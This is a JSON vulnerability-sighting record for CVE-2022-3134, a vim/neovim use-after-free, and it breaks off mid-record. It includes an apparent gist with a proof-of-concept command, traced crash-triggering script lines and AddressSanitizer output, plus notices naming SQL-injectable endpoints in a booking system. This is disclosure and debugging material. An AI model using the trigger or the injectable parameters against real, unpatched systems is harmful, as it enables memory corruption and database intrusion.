{"vulnerability": "cve-2022-3134", "sightings": [{"uuid": "74c21ee3-34a9-4eff-8c03-299d28fc77cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3134", "type": "seen", "source": "https://t.me/cibsecurity/49390", "content": "\u203c CVE-2022-3134 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.0388.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-07T00:13:41.000000Z"}, {"uuid": "8c4ee4dc-c744-4829-a206-e147a14af7f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31343", "type": "seen", "source": "https://t.me/cibsecurity/43707", "content": "\u203c CVE-2022-31343 \u203c\n\nOnline Car Wash Booking System v1.0 is vulnerable to SQL Injection via /ocwbs/admin/?page=bookings/view_details&id=.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-02T18:38:43.000000Z"}, {"uuid": "1241bbe8-8dc5-4b05-81de-3e9b4207e073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31346", "type": "seen", "source": "https://t.me/cibsecurity/43720", "content": "\u203c CVE-2022-31346 \u203c\n\nOnline Car Wash Booking System v1.0 is vulnerable to SQL Injection via /ocwbs/classes/Master.php?f=delete_service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-02T18:39:02.000000Z"}, {"uuid": "4ac120c3-c4cc-45d2-8978-645c6f69cc72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31347", "type": "seen", "source": "https://t.me/cibsecurity/43699", "content": "\u203c CVE-2022-31347 \u203c\n\nOnline Car Wash Booking System v1.0 is vulnerable to SQL Injection via /ocwbs/classes/Master.php?f=delete_vehicle.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-02T18:36:01.000000Z"}, {"uuid": "50976505-30b6-454a-9735-3fcc8b2dbc00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3134", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/42f3d83baf15dd107780c8d77618ca69", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: source shared.vim\n\nline 1: could not source \"shared.vim\"\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134/CVE-2022-3134:\nline    1:\nE484: Can't open file shared.vim\nline 2: vs*\\9A\\9A\\9A\\9A0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nline 2: unlet! b:keymap_name\n\nline 3: ls*|s\\9A\\9A\\9A\\9A\\9As^?y\" Test 'tagfunc'\n\n  1 #a   \"[No Name]\"                    line 1\n  2 %a   \"*9A9A9A9A0\"                   line 1\nline 3: s\\9A\\9A\\9A\\9A\\9As^?y\" Test 'tagfunc'\n\nline    3:\nE10: \\ should be followed by /, ? or &\nline 4: \n\nline 5: func Test_tagfunc_settagstack()\n\nline 10:   set tagfunc=Mytagfunc1\n\nline 11:   call writefile([''], 'Xtest')\n\nline 12:   call assert_fails('tag xyz', 'E986:')\n\nline 12: tag xyz\n\nline 13: \n\nline 14:   func Mytagfunc2(pat, flags, info)\n\nline 18:   set tagfunc=Mytagfunc2\n\nline 19:   call assert_fails('tag xyz', 'E986:')\n\nline 19: tag xyz\n\ncalling Mytagfunc2('xyz', '', {'buf_ffname': '/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134/*9A9A9A9A0'})\n\nline 1: x   tag test_tag\n\nline 2:     return [{'name' : 'mytag', 'filename' : 'Xtest', 'cmd' : '1'}]\n\nMytagfunc2 returning [{'cmd': '1', 'name': 'mytag', 'filename': 'Xtest'}]\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134/CVE-2022-3134\n=================================================================\n==45586==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000005278 at pc 0x000000a8783d bp 0x7ffcf0947310 sp 0x7ffcf0947308\nWRITE of size 4 at 0x626000005278 thread T0\n    #0 0xa8783c in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:565:41\n    #1 0x7460f5 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6603:3\n    #2 0x73f79e in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6559:3\n    #3 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #4 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #5 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #6 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #7 0xa9db64 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #8 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #9 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #10 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #11 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #12 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #14 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #15 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #16 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #17 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #18 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #20 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #21 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #22 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #23 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #24 0x7f54963f2082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #25 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x626000005278 is located 8568 bytes inside of 10488-byte region [0x626000003100,0x6260000059f8)\nfreed by thread T0 here:\n    #0 0x4df44d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df44d)\n    #1 0x88a2f8 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:130:3\n    #2 0xb42c00 in win_free /home/zzw/Desktop/neovim/build/../src/nvim/window.c:5107:5\n    #3 0xb35889 in win_free_mem /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3043:3\n    #4 0xb2362a in win_close /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2808:8\n    #5 0x73e25e in ex_exit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4852:5\n    #6 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #8 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #9 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #10 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #11 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #12 0x668b06 in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1100:9\n    #13 0xa8f7d1 in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1155:12\n    #14 0xa88284 in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1494:14\n    #15 0xa8608f in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:468:11\n    #16 0x7460f5 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6603:3\n    #17 0x73f79e in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6559:3\n    #18 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #20 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #21 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #22 0xa9db64 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #23 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #24 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #25 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #26 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #27 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #28 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #29 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n\npreviously allocated by thread T0 here:\n    #0 0x4df842 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df842)\n    #1 0x88a332 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:144:15\n    #2 0xb26d0b in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4946:19\n    #3 0xb2cdd5 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c\n    #4 0xb222f3 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1017:10\n    #5 0x738610 in ex_splitview /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4968:14\n    #6 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #8 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #9 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #10 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #11 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #12 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #14 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #15 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #16 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #17 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #18 0x7f54963f2082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:565:41 in do_tag\nShadow bytes around the buggy address:\n  0x0c4c7fff89f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff8a40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]\n  0x0c4c7fff8a50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==45586==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: source shared.vim\n\nline 1: could not source \"shared.vim\"\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134/CVE-2022-3134:\nline    1:\nE484: Can't open file shared.vim\nline 2: vs*\\9A\\9A\\9A\\9A0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nline 2: unlet! b:keymap_name\n\nline 3: ls*|s\\9A\\9A\\9A\\9A\\9As^?y\" Test 'tagfunc'\n\n  1 #a   \"[No Name]\"                    line 1\n  2 %a   \"*9A9A9A9A0\"                   line 1\nline 3: s\\9A\\9A\\9A\\9A\\9As^?y\" Test 'tagfunc'\n\nline    3:\nE10: \\ should be followed by /, ? or &\nline 4: \n\nline 5: func Test_tagfunc_settagstack()\n\nline 10:   set tagfunc=Mytagfunc1\n\nline 11:   call writefile([''], 'Xtest')\n\nline 12:   call assert_fails('tag xyz', 'E986:')\n\nline 12: tag xyz\n\nline 13: \n\nline 14:   func Mytagfunc2(pat, flags, info)\n\nline 18:   set tagfunc=Mytagfunc2\n\nline 19:   call assert_fails('tag xyz', 'E986:')\n\nline 19: tag xyz\n\ncalling function Mytagfunc2('xyz', '', {'buf_ffname': '/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134/*9A9A9A9A0'})\n\nline 1: x   tag test_tag\n\nline 2:     return [{'name' : 'mytag', 'filename' : 'Xtest', 'cmd' : '1'}]\n\nfunction Mytagfunc2 returning [{'cmd': '1', 'name': 'mytag', 'filename': 'Xtest'}]\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134/CVE-2022-3134\n=================================================================\n==45515==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000005420 at pc 0x000001007ace bp 0x7ffc8c5d7590 sp 0x7ffc8c5d7588\nWRITE of size 4 at 0x626000005420 thread T0\n    #0 0x1007acd in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:580:41\n    #1 0x990465 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8903:3\n    #2 0x9827aa in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8859:3\n    #3 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #4 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #5 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #6 0x103531d in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:415:3\n    #7 0x825318 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:203:3\n    #8 0x8af549 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1589:15\n    #9 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #10 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #11 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #12 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #13 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #14 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #15 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #16 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #17 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #18 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #19 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #20 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #21 0x7f960074a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #22 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x626000005420 is located 8992 bytes inside of 10896-byte region [0x626000003100,0x626000005b90)\nfreed by thread T0 here:\n    #0 0x4d943d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d943d)\n    #1 0xbdb6d4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x119b242 in win_free /home/zzw/Desktop/neovim/build/../src/nvim/window.c:5090:5\n    #3 0x1183b29 in win_free_mem /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2979:3\n    #4 0x115ebe2 in win_close /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2750:8\n    #5 0x9803ca in ex_exit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6986:5\n    #6 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #7 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #8 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #9 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #10 0x79577d in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1099:9\n    #11 0x101ac1f in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1186:12\n    #12 0x100a7ae in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1530:14\n    #13 0x10070a6 in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:483:11\n    #14 0x990465 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8903:3\n    #15 0x9827aa in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8859:3\n    #16 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #17 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #18 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #19 0x103531d in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:415:3\n    #20 0x825318 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:203:3\n    #21 0x8af549 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1589:15\n    #22 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #23 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #24 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #25 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #26 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #27 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #28 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #29 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n\npreviously allocated by thread T0 here:\n    #0 0x4d9832 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d9832)\n    #1 0xbdb76e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x1164d49 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4934:19\n    #3 0x1172431 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1199:12\n    #4 0x115bf46 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:949:10\n    #5 0x9661f7 in ex_splitview /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7262:14\n    #6 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #7 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #8 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #9 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #10 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #11 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #12 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #13 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #14 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #15 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #16 0x7f960074a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:580:41 in do_tag\nShadow bytes around the buggy address:\n  0x0c4c7fff8a30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff8a80: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8aa0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8ab0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8ac0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8ad0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   